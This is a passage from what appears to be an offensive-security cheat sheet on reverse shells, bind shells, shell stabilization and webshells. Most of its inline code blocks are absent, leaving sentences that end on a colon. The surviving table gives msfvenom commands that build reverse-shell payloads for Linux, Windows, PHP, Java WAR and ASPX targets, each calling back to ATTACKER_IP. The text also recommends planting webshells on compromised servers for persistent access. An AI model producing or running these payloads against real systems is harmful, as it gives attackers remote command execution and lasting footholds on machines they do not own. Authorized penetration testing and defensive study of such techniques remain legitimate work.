Reverse Shell
The target connects out to you. You set up a listener on your own machine, trigger the payload, and the target calls back to it. This is by far the more common approach, since it works even behind a NAT or firewall that blocks inbound connections but allows outbound traffic.
Bind Shell
The target opens a port and waits for you to connect to it. Useful when outbound traffic from the target is restricted, but less reliable in practice since inbound firewall rules usually block unsolicited connections too.
Reverse Shells
Pick the tab for whatever’s available on the target. If your first attempt gets blocked or the process just dies, the fallback variants in each tab exist for exactly that reason.- Bash / sh
- Python
- PowerShell
- Netcat / Socat
- Other languages
/dev/tcp isn’t compiled into the shell at all, fall back to a named pipe:Bind Shells
Bind shells flip the direction: the target listens and you connect to it. You’ll reach for this mainly when outbound traffic from the target is blocked but you can still hit an inbound port, which is less common than the reverse case but worth having ready.Shell Stabilization
A raw shell has no job control, no tab completion, and tends to die onCtrl+C. Before doing any real work, it’s worth the ten seconds to upgrade it into something that behaves like a real terminal.
The standard method combines a Python pty with a bit of terminal plumbing:
No Python? Other stabilization options
No Python? Other stabilization options
Webshells
A webshell is a small script dropped on a compromised web server that lets you run commands through HTTP requests instead of a live socket connection. They’re most useful when you need persistent access through a web app after the initial foothold, or when outbound connections for a reverse shell just aren’t working.MSFVenom Payload Generation
When you need a standalone binary rather than a one-liner, msfvenom builds the payload andmulti/handler catches it. This is the usual route for dropping an executable rather than running an inline command.
| Target | Command |
|---|---|
| Linux ELF | msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > shell.elf |
| Windows EXE | msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe |
| Windows meterpreter (x64) | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe |
| PHP | msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=443 -f raw > shell.php |
| Java WAR | msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f war > shell.war |
| ASPX | msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f aspx > shell.aspx |
Already have a plain shell and want Meterpreter’s extra features instead? Upgrade it mid-session:
Quick Reference Tools
revshells.com
Generates ready-to-use payloads for dozens of languages and encodings on the fly.
PayloadsAllTheThings
The definitive community-maintained reverse shell cheatsheet, good for anything missing here.

